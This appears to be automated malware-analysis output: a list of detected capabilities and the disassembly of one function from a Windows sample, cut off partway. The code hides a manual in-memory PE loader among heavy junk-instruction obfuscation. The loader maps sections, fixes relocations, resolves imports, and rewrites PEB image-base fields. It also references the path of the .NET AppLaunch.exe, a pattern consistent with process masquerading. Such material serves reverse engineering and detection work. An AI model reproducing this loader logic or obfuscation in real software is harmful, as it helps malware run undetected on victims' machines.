Function at 0x401270
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
mov eax, dword [ebp + 8]
rol edx, 0x6f
imul ebx
neg edx
rcr edx, 0xb8
not edi
or esi, 0x56
rcl ebx, 0x6d
sub eax, 0x15
inc eax
and ebx, 0xcf
imul edi
ror edi, 0x83
imul edi
add esi, 0xd0
bswap ebx
bswap esi
rcr eax, 0x43
rcr edi, 0x9b
rcl eax, 0xb1
imul eax
rol ebx, 0x5f
bswap esi
imul edi
bswap ebx
rcr eax, 0x40
and edx, 0xa4
rcl edi, 0x4a
ror esi, 0x66
bswap ebx
rcl eax, 0x92
imul esi
inc ebx
not eax
imul eax
rol edi, 2
rcr ebx, 3
rcl eax, 0x84
neg esi
mov esi, 0xf6
imul ebx
ror edx, 0x45
and esi, 0xc
imul edi
dec esi
mov edi, 0xcd
rcl esi, 0xba
bswap edi
neg edi
mov edx, 0xf7
dec esi
neg eax
and edx, 0x4f
not esi
dec edx
not esi
neg edx
add ebx, 0x3b
dec edi
inc edx
sub eax, 0xd8
neg edx
neg edi
bswap ebx
and eax, 0x18
sbb edi, 0xa3
add esi, 0xa1
and edx, 0x3e
not ebx
mov edi, 0xbf
imul edx
dec esi
imul esi
not eax
bswap edx
ror edx, 0xec
bswap edi
dec ebx
sbb ebx, 0x48
dec edi
inc edi
imul eax
mov ebx, 0xaa
not edx
not ebx
and esi, 0x7e
inc ebx
or eax, 0x92
inc esi
rol eax, 0xa
sub eax, 0x9b
bswap ebx
not esi
inc edi
rcl ebx, 0x13
imul esi
neg esi
sbb esi, 6
inc edx
rcl ebx, 0x2c
rol eax, 0x44
rcr eax, 0x42
and esi, 0x8d
rcr edx, 0xbc
dec esi
dec edx
inc esi
neg eax
sbb edi, 0xb2
and esi, 0x21
not edx
not esi
or eax, 0x2c
ror eax, 0xbd
bswap eax
bswap eax
bswap eax
neg eax
ror ebx, 0x2b
inc edi
add edi, 0xf1
ror esi, 0xfa
sub edx, 0x41
neg edx
bswap eax
inc esi
neg esi
imul eax
rol eax, 0x2b
rol edx, 0xc3
sbb eax, 0x60
bswap eax
dec eax
bswap edi
add edi, 0xa5
dec edx
neg eax
and esi, 0xf7
sbb eax, 0x68
rol edx, 0xe4
imul ebx
bswap eax
and eax, 0x8f
dec eax
sub edx, 0xde
rol edi, 0xbd
add edi, 0x52
imul ebx
ror edi, 0xce
and edx, 0x86
and edx, 0xf8
imul edx
or esi, 0x93
add ebx, 0xf8
not ebx
imul esi
rcl edx, 0xdb
ror edx, 0x5a
ror eax, 0xc3
dec esi
or edi, 0xcf
dec ebx
neg edi
dec edi
sub edx, 0xe1
rol eax, 0x74
rcl edi, 0x52
rcl eax, 0xce
rol edx, 0xc3
bswap edi
imul edi
neg edx
inc ebx
rcl ebx, 0xe7
rcr edx, 0xee
inc edi
and esi, 0x18
sbb ebx, 0x8d
not edi
rcr edi, 0x94
rcr eax, 0x83
dec edi
not edi
inc edx
bswap esi
sub esi, 0xcf
neg ebx
rol esi, 0x3c
sub esi, 0xac
not ebx
add esi, 0x77
neg ebx
and esi, 5
add eax, 0x86
dec edi
sub eax, 0x63
ror ebx, 0xda
imul edi
neg eax
imul eax
rcr edi, 0x49
mov dword [ebp - 0x10], eax
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x4b000
call fcn.00401000
lea eax, section..data
mov dword [ebp + 8], eax
not esi
inc edi
inc esi
sub ebx, 0xc5
dec ebx
ror esi, 0x25
dec esi
rol eax, 0xfe
inc edx
rcr ebx, 0xa1
bswap edx
ror edx, 0x87
ror edi, 0x99
inc edi
sub edx, 0x4c
rcl ebx, 0x25
add esi, 0x49
add eax, 0xb4
imul esi
not ebx
rol edx, 1
mov esi, 0xeb
rol edi, 0x49
neg ebx
rcr ebx, 0x26
bswap edi
sbb edx, 0xac
ror edx, 0xd9
imul edi
mov ebx, 0x63
neg edi
add esi, 0xeb
rcl edx, 0xce
bswap eax
neg edi
bswap edi
ror esi, 0x35
not ebx
mov ebx, 4
ror esi, 0xab
or edx, 0xd
not edi
imul eax
inc eax
imul ebx
rol ebx, 0xd8
rcr edx, 0xd8
dec edx
not eax
sbb esi, 0x65
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0x4550
je 0x401578
mov dword [ebp - 0x10], 1
jmp 0x402923
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x20], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x1c], 0
je 0x4015b0
xor eax, eax
mov dword [ebp - 0x118], eax
jmp 0x4015bc
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x118]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x1c], 0
jne 0x401610
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
cmp eax, dword [ecx + 0x34]
je 0x401610
mov dword [ebp - 0x10], 2
jmp 0x402923
sbb esi, 0x91
rcl edx, 0xcf
rol edi, 1
dec esi
ror ebx, 0x4d
mov edx, 0x5b
bswap edx
imul edx
rcl eax, 0xd7
sbb edx, 0xc6
or esi, 0x2a
not edx
rcl edx, 0xe0
ror ebx, 0xb2
rol edx, 0xef
ror ebx, 0xc5
neg edx
bswap ebx
ror edi, 0x15
imul eax
not edx
rcl esi, 0x46
imul esi
ror esi, 0xf7
rcl ebx, 0x1d
add eax, 0xe4
inc ebx
imul edi
ror ebx, 0x7f
dec eax
imul ebx
not edx
not edi
ror eax, 0xec
and esi, 0x90
neg edi
rol esi, 0x4c
not esi
bswap ebx
mov edx, 0x11
sub edx, 0xc5
add eax, 0x3f
rcr ebx, 0xf6
and ebx, 0xfa
add edi, 0x75
neg edi
bswap esi
inc eax
not esi
and esi, 0x24
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x24]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00401240
neg edi
dec esi
sub esi, 0x15
imul edi
neg esi
dec ebx
rol edi, 0xd
rcr ebx, 0xe4
not edi
neg esi
ror edx, 0x3c
neg ebx
add ebx, 0x3b
and ebx, 0x20
sbb esi, 0xee
not edx
and ebx, 0x88
mov edx, 0x4f
sbb edi, 0x64
not edx
or ebx, 0x94
dec esi
sbb edx, 0x5a
dec edx
mov ebx, 0x68
rol ebx, 0x90
dec eax
ror ebx, 0x47
inc edx
neg edi
ror ebx, 3
sbb ebx, 0x4d
bswap eax
not ebx
rcr esi, 0x37
and esi, 0xc4
bswap edx
bswap edx
mov edx, 0xa
imul ebx
ror edx, 0x67
mov edx, 0xe5
imul ebx
sbb eax, 0xb2
bswap esi
rol ebx, 0xd6
and edx, 0x37
dec eax
inc ebx
dec edx
rcr eax, 0x21
rcr edx, 0xd2
inc edi
neg edx
neg edi
dec eax
dec eax
neg edi
or edx, 0x93
not eax
mov edx, 0xec
inc edi
not edi
not eax
bswap esi
sbb eax, 0x38
mov edi, 0x1b
add edx, 0x98
sub edx, 0xc4
bswap edi
rcl eax, 0x4a
neg edx
and esi, 0x80
rol ebx, 0x26
imul ebx
not edi
ror esi, 0xe
dec edx
bswap eax
imul edx
not esi
mov esi, 0x2b
dec edi
add esi, 0x40
neg eax
imul ebx
imul esi
rol edx, 0
inc eax
rcl ebx, 0x25
or eax, 0xdb
bswap ebx
bswap edi
not edi
sub eax, 0xb4
and eax, 0x68
rol eax, 0x65
neg esi
not eax
bswap edx
dec edx
not edx
rcr ebx, 0xff
neg ebx
rcr esi, 0x41
mov eax, 0xc7
imul ebx
not ebx
not esi
neg eax
inc esi
rcr edx, 0x69
not edi
rcl edi, 0xe8
dec eax
and edx, 0xcf
and esi, 0x4b
dec eax
inc ebx
add eax, 0xd1
not ebx
bswap esi
bswap eax
imul eax
add edi, 0x92
not eax
rcr ebx, 0x45
rol esi, 0x1a
and esi, 0xff
rcl edi, 0x5a
add edx, 0xd6
neg edx
not eax
dec eax
not ebx
bswap edx
imul edi
inc eax
rol edi, 0
neg eax
ror edx, 0x6a
ror eax, 6
ror ebx, 0xfb
mov edi, 0x2d
rol ebx, 0xd7
or ebx, 0xa3
rcr ebx, 0x8a
rol edi, 0xa7
not esi
not edx
neg edi
neg ebx
add eax, 0xb2
not edx
sub ebx, 0x62
dec ebx
rol edx, 0x90
rol ebx, 1
rcr esi, 0x5a
sub edi, 0x11
add edx, 8
mov edi, 0xdc
rcr edx, 0x15
bswap ebx
neg eax
rcl eax, 0x6d
mov edx, 0x67
rcr ebx, 0x93
sub esi, 0x52
rol eax, 0xe
not edi
not eax
dec esi
and edi, 4
rcl eax, 0xe8
or edi, 0xd8
bswap ebx
inc ebx
and ebx, 0x22
rcl edi, 0x34
mov ebx, 0x64
bswap esi
ror edi, 0x6f
neg ebx
sub edi, 0x9d
or eax, 0xc2
mov edx, 0x4f
inc edi
rcr ebx, 0x68
rol ebx, 0x4e
not esi
imul eax
inc ebx
imul edi
rol esi, 0x6c
not ebx
neg edx
sub eax, 0x91
mov ebx, 1
add edx, 0xf8
imul ebx
or edi, 0xa6
dec edx
mov ebx, 0xc9
sub ebx, 0xf6
and esi, 0x4a
add eax, 0x36
add edi, 0x9c
not eax
inc edx
rol ebx, 0x95
add eax, 0x81
not eax
dec edi
bswap edx
ror esi, 0xbf
and edx, 0x92
bswap eax
imul esi
sub esi, 0xc8
rol esi, 0x7c
sbb ebx, 0x8a
dec ebx
rcl esi, 0x91
dec edi
sbb esi, 0xb9
rcl ebx, 0xd6
mov eax, 0xb3
inc edx
bswap edx
dec esi
rcr eax, 0xd0
rcl ebx, 0xb5
dec ebx
ror edx, 0xd7
mov edi, 0x5f
inc edi
not esi
imul esi
sub esi, 0x29
or esi, 0x40
rcl edi, 0x70
rcl edi, 0x6c
inc ebx
dec eax
rol edx, 0xc5
not ebx
neg esi
inc edi
neg edi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add eax, 0x18
mov ecx, dword [ebp - 0x18]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x4019f1
mov eax, dword [ebp - 0x28]
imul ecx, dword [ebp - 0x2c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x28]
imul esi, dword [ebp - 0x2c], 0x28
add edx, esi
add ecx, dword [edx + 0x14]
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
imul edi, dword [ebp - 0x2c], 0x28
add esi, edi
add edx, dword [esi + 0xc]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00401240
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
jmp 0x401997
imul ebx
and edx, 0xcc
rol ebx, 0x4c
add esi, 0xd
neg esi
ror esi, 0x6a
bswap ebx
imul edx
neg edi
bswap ebx
add edi, 0x2a
rcr ebx, 0x27
bswap esi
sbb eax, 0xf5
sub edi, 0x18
dec eax
dec eax
rcr edi, 0x11
and ebx, 0x42
not eax
sbb ebx, 0x3a
dec esi
ror eax, 0x60
bswap edi
mov ebx, 1
or esi, 0x31
rcl eax, 0xed
not esi
rcl ebx, 0xb6
rol esi, 0x37
bswap esi
neg eax
dec eax
bswap eax
dec ebx
add edi, 0x56
sub edi, 0xa9
not edi
and edi, 0x97
rcl edx, 0x61
rcl edi, 0xd3
imul esi
imul edx
and eax, 0x88
and edi, 0xf0
inc edx
sub edx, 0x9f
mov edi, 0x6b
rcl eax, 0xcd
rcl ebx, 0xa4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
cmp eax, dword [ecx + 0x34]
je 0x401b51
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x1c]
jae 0x401b4c
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x34]
add eax, dword [ecx]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x34]
add eax, 8
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x40]
jge 0x401b35
mov eax, dword [ebp - 0x44]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x401b1e
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x44]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x44]
add eax, 2
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
jmp 0x401ae5
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x34], eax
jmp 0x401ab0
jmp 0x401b51
rcr edi, 0xf2
rcl edx, 0x10
rcr edi, 0x72
sbb eax, 0x9d
ror eax, 0x3f
sbb ebx, 0x7d
dec ebx
inc edi
sub ebx, 0x60
inc ebx
not edx
rol edx, 0xa
rol ebx, 0x95
and esi, 0xf2
neg esi
sbb ebx, 0xfa
neg eax
inc eax
sbb edx, 0xa2
bswap eax
not eax
rol esi, 0xab
sub edx, 0x83
dec ebx
rcl edi, 0x90
or ebx, 0x80
sub eax, 0x54
imul eax
rcr ebx, 0x86
rcl esi, 0xaa
sbb edi, 0xcc
rol ebx, 0x3a
imul esi
mov eax, 0x20
neg edi
ror edi, 0xd1
bswap ebx
ror ebx, 0x68
sbb ebx, 0xff
dec ebx
imul edi
rcr eax, 0xf5
neg eax
bswap edx
dec ebx
bswap esi
add esi, 0xee
or esi, 0x52
inc esi
dec eax
ror edi, 0xa4
rcr esi, 0x85
imul edx
neg eax
mov ebx, 0xab
neg edi
sub esi, 0x5a
rcr ebx, 0x5e
dec ebx
or edi, 0xa5
sub edx, 0xdd
neg edi
inc ebx
neg edi
inc eax
imul edx
add edx, 0x53
imul esi
mov esi, 0xe3
not eax
rcl eax, 0x81
ror edx, 0x1f
dec edx
dec ebx
sub edx, 4
sbb ebx, 0x8b
neg edx
rol ebx, 0x61
bswap eax
rol edx, 0xc6
inc esi
neg eax
imul eax
add ebx, 0xfb
not esi
sbb esi, 0xea
and esi, 0x48
not eax
mov edx, 0x54
sbb esi, 0xaa
bswap esi
rcl edx, 0x46
neg edi
or esi, 0x49
or eax, 0xa0
not eax
ror ebx, 0x68
ror ebx, 0xc6
add ebx, 0xbe
rol edx, 0x5a
bswap edx
and ebx, 0xc0
rol edx, 0x79
imul esi
and esi, 0x8c
rcl ebx, 0xfb
neg edx
not edi
dec edx
sub esi, 0xef
neg edi
rol edx, 0xba
imul eax
ror esi, 0xb5
imul edi
sbb ebx, 0x38
not esi
imul esi
rcl eax, 0xe4
add eax, 0x69
inc ebx
and ebx, 0xa0
neg edi
sbb edi, 0x70
rcl ebx, 0x2d
mov edx, 0xcb
bswap esi
not edi
or ebx, 0x96
rcl ebx, 0xf4
rcr esi, 0x93
rcr ebx, 0x88
ror edx, 0xc1
inc ebx
neg eax
rcl esi, 0x1a
neg edi
bswap ebx
neg eax
inc eax
neg edx
dec ebx
not eax
inc edi
not esi
rcl eax, 0x2b
ror ebx, 0xe4
not eax
neg eax
inc edi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], 0
mov eax, dword [ebp - 0x4c]
imul ecx, dword [ebp - 0x50], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x401e1a
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x4c]
imul edx, dword [ebp - 0x50], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x401d5d
jmp 0x401e0c
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x4c]
imul edx, dword [ebp - 0x50], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], 0
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x60]
cmp dword [eax + ecx*4], 0
je 0x401e07
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x60]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x60]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x58]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
jne 0x401ddd
mov eax, dword [ebp - 0x64]
add eax, 2
mov ecx, dword [ebp - 0x58]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x4c]
imul esi, dword [ebp - 0x50], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x60]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
jmp 0x401d76
jmp 0x401e0c
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
jmp 0x401d17
mov dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x401f52
mov dword [ebp - 0x74], 0x40
mov eax, dword [ebp - 0x28]
imul ecx, dword [ebp - 0x70], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
and eax, 0x40000000
cmp eax, 0
je 0x401e88
mov eax, dword [ebp - 0x78]
and eax, 0x80000000
cmp eax, 0
je 0x401e88
mov eax, dword [ebp - 0x78]
and eax, 0x20000000
cmp eax, 0
je 0x401e88
mov dword [ebp - 0x74], 0x40
jmp 0x401f0b
mov eax, dword [ebp - 0x78]
and eax, 0x40000000
cmp eax, 0
je 0x401eb6
mov eax, dword [ebp - 0x78]
and eax, 0x80000000
cmp eax, 0
je 0x401eb6
mov dword [ebp - 0x74], 4
jmp 0x401f06
mov eax, dword [ebp - 0x78]
and eax, 0x40000000
cmp eax, 0
je 0x401ee4
mov eax, dword [ebp - 0x78]
and eax, 0x20000000
cmp eax, 0
je 0x401ee4
mov dword [ebp - 0x74], 0x20
jmp 0x401f01
mov eax, dword [ebp - 0x78]
and eax, 0x40000000
cmp eax, 0
je 0x401efc
mov dword [ebp - 0x74], 2
jmp 0x401f01
jmp 0x401f06
jmp 0x401f0b
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x28]
imul edx, dword [ebp - 0x70], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
imul edi, dword [ebp - 0x70], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x6c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
jmp 0x401e21
rol edi, 0xbd
imul edx
sbb edx, 0xcb
sub esi, 0xcc
bswap edx
dec edi
sbb edx, 0xae
mov esi, 0x82
mov eax, 0xac
sbb edx, 0x1a
not edx
imul eax
not ebx
bswap edx
rcl edi, 0x26
sub edi, 0x6a
dec ebx
rcr eax, 0xa2
ror esi, 0xa0
bswap esi
rcr edx, 0xc7
sub eax, 0x63
dec edx
add edi, 0x4c
dec edx
neg ebx
rcr edi, 0xe6
neg edi
ror esi, 0xa8
or esi, 0x19
mov ebx, 0xde
bswap edx
rol edx, 0x78
bswap edi
neg eax
add eax, 0x63
bswap ebx
imul ebx
dec esi
rol eax, 0x76
imul eax
bswap ebx
not edi
not esi
not edx
inc esi
neg ebx
or esi, 0xf2
rol edx, 0x9c
bswap edx
sub esi, 0xd1
imul esi
rol edx, 0xd
neg edi
imul edx
rol edx, 0x90
mov eax, 0x55
and eax, 0x19
rcl eax, 0x4a
sbb edi, 0x8d
dec eax
rol esi, 0xc8
or eax, 0xb3
rcr edx, 0xab
or eax, 0x2f
imul edx
rol eax, 0x5b
not edi
bswap esi
add eax, 0x8d
sbb ebx, 0x2f
sub esi, 0x61
imul eax
rcr edi, 0x7d
imul edx
sbb ebx, 0x34
add edx, 0x5f
sub ebx, 0x8f
rcl ebx, 0x49
rcr esi, 0x88
neg edi
ror edx, 0x5f
sub esi, 0x1b
neg edx
neg edx
and edx, 0x87
imul edx
bswap edx
ror ebx, 0xdb
imul esi
inc eax
neg eax
add esi, 0xc4
not ebx
rcl ebx, 0xd3
or edi, 0x4c
inc edi
bswap eax
sub esi, 0xd2
inc edi
or ebx, 0x7b
inc esi
rcl edi, 0xae
sub edi, 0x7d
and edi, 0x99
add esi, 0x3d
sub ebx, 0xc2
or esi, 0x27
sub ebx, 0xa3
rcl esi, 0xd1
inc edi
neg eax
sbb eax, 0x29
rol edi, 0x4c
bswap eax
rcr edx, 0x97
or ebx, 0x2a
rcl edi, 0xe9
inc esi
not esi
imul esi
dec ebx
and eax, 0x8e
imul edx
ror edi, 0x70
and edx, 4
add eax, 0x3e
dec eax
sub esi, 0xe7
rcl ebx, 0xcb
not eax
sub edi, 0xd9
or edi, 0xf7
inc esi
inc eax
dec ebx
imul edx
and edx, 0x41
rcr esi, 6
not esi
inc eax
dec esi
neg ebx
dec edi
rcl esi, 0xf
not edi
rcr edi, 0x7b
add edx, 0x32
neg edi
inc edi
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0x84], eax
dec edx
mov eax, 0x26
dec ebx
imul ebx
inc eax
bswap edx
not esi
sub eax, 0x2b
neg ebx
not edx
bswap edi
rcr esi, 0xe6
sbb ebx, 0x84
ror esi, 0x42
dec edi
rcr edx, 0x2f
neg eax
imul edi
or esi, 0xe1
or edi, 0x5a
and esi, 0x8c
rol ebx, 0x8e
rcr eax, 0xea
rcl edi, 5
ror ebx, 0xd0
bswap esi
and esi, 0xc8
and eax, 0xf5
imul eax
sbb ebx, 0x64
rol edi, 0x73
inc edi
add edi, 5
rcr edi, 0x7d
bswap ebx
rol edi, 0x95
sbb ebx, 0x44
ror esi, 0x27
add edi, 0xd9
dec ebx
rcl eax, 0xbe
neg eax
dec eax
mov eax, 0x89
imul edx
rcr esi, 0x30
bswap eax
sub eax, 0x67
inc edx
rol ebx, 0xe2
add edx, 0xcd
inc esi
bswap eax
add edi, 0x67
or edi, 0xe
not edx
rcl edx, 0xfb
rol eax, 0xc
rcl edi, 0xdd
rcr esi, 0x51
rol ebx, 0x17
and edx, 0xde
sbb eax, 0x74
inc ebx
rcr ebx, 0x55
or edx, 0xde
not esi
ror eax, 0x7d
not edx
dec eax
neg eax
imul edi
sub esi, 0x66
inc edx
neg ebx
and eax, 0x55
inc edi
not eax
sbb edi, 0x89
ror edx, 3
imul ebx
sbb edi, 0xdb
imul esi
dec edi
bswap eax
mov esi, 0xf1
dec edx
ror edi, 0xd5
bswap ebx
rcr esi, 0xba
sub eax, 0xb7
mov ebx, 0x99
rcl eax, 5
not ebx
imul eax
rol eax, 0x8f
sbb ebx, 0xf3
sbb edi, 0x12
neg eax
rcl edx, 0xbd
not esi
imul ebx
imul edx
add esi, 0xf2
add esi, 0x51
rol edi, 0x76
rol ebx, 0xb5
or esi, 0x36
not edx
ror esi, 0x41
and edx, 0x2d
rcr edi, 0x17
sub esi, 0x48
ror ebx, 0xb6
not edx
neg esi
or ebx, 0x59
rcr edx, 0x43
sbb eax, 0xee
sub ebx, 0x93
bswap ebx
sbb edi, 0x44
mov edi, 0x53
not esi
rcl edi, 0xac
rcr edi, 0x2f
inc esi
not eax
rcl ebx, 0x38
inc esi
rcr edi, 0x71
dec edx
bswap edi
mov edx, 0x1a
bswap edx
bswap edx
dec edx
rcr ebx, 0x97
rcr edi, 0xdc
mov edi, 0xa3
sbb edx, 0xc4
and eax, 0x44
imul eax
rcr esi, 0x52
not ebx
inc esi
imul eax
dec eax
bswap edx
neg eax
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x7c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x84]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x84]
add eax, 0x24
mov dword [ebp - 0x88], eax
not edi
imul ebx
sub eax, 0x2d
sub esi, 0x96
rcr ebx, 0xa6
and edi, 0x6b
imul edx
sub esi, 0xc1
imul edi
neg edx
rcl esi, 0x36
mov edx, 0x45
add eax, 9
rcr edx, 0xe8
imul esi
or edi, 0x6e
neg edx
imul eax
and eax, 0x58
not eax
and ebx, 0x88
not eax
rcl edx, 0xe6
inc edx
sbb esi, 1
rcl ebx, 0xd7
neg eax
rcr edx, 0x1d
sbb edx, 0x15
not esi
mov edx, 0x76
sub edi, 0xeb
dec eax
imul edi
imul eax
neg ebx
dec ebx
sbb edx, 0xc7
inc edi
sbb eax, 0x65
imul esi
or edi, 0x1e
sbb edx, 0xa3
inc edi
neg esi
bswap esi
bswap eax
imul esi
rcr ebx, 0xef
or edx, 0xec
imul ebx
and edi, 0x22
inc edx
inc ebx
rcr edi, 0xe2
add eax, 0x4c
bswap esi
and edx, 0
dec eax
sbb edi, 0xd6
rol ebx, 0x16
neg eax
rol eax, 0xda
not eax
dec edx
or esi, 0x95
rol eax, 0x5d
imul ebx
ror ebx, 0xe4
rol edi, 0xc5
inc edx
rol edi, 0x53
inc ebx
neg edi
rol eax, 0x8b
bswap eax
dec ebx
imul edi
not eax
ror edx, 0xef
dec edi
rol edx, 0xe3
neg eax
or esi, 0xb0
bswap ebx
dec ebx
and ebx, 0xf6
mov eax, 0xaa
not ebx
inc esi
not esi
bswap esi
bswap eax
add edi, 0xaf
add ebx, 0xb4
sbb edx, 0x29
bswap esi
mov ebx, 0xcb
inc eax
bswap edx
ror eax, 0x28
rol edx, 0x53
dec edx
rol esi, 0x5e
rol ebx, 8
not ebx
inc edi
neg eax
imul edi
ror eax, 0xb0
sub edx, 0xb6
dec esi
or edx, 9
inc ebx
sbb ebx, 0x88
and eax, 0x5c
imul eax
not edx
imul ebx
dec ebx
not edx
rcr edi, 0xf9
not edi
mov edx, 0x72
sbb edx, 0x26
dec eax
inc esi
or ebx, 0x79
not eax
and ebx, 0x1f
dec ebx
or eax, 0xbb
sbb edi, 0xe1
imul ebx
rol edi, 0x77
rcr edi, 0xa2
add ebx, 0xd3
mov edi, 0x73
not edx
sbb ebx, 0x22
sub esi, 0xda
ror edx, 0x69
imul edx
mov edi, 0xd9
rcr edx, 0x24
and edi, 0x94
inc edx
or esi, 0x54
dec ebx
add esi, 0xf9
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x102]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x7a
call fcn.0040e650
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x103], al
test byte [ebp - 0x103], 1
je 0x402525
mov eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x10c]
mov dword [esp], ecx
mov dword [esp + 4], eax
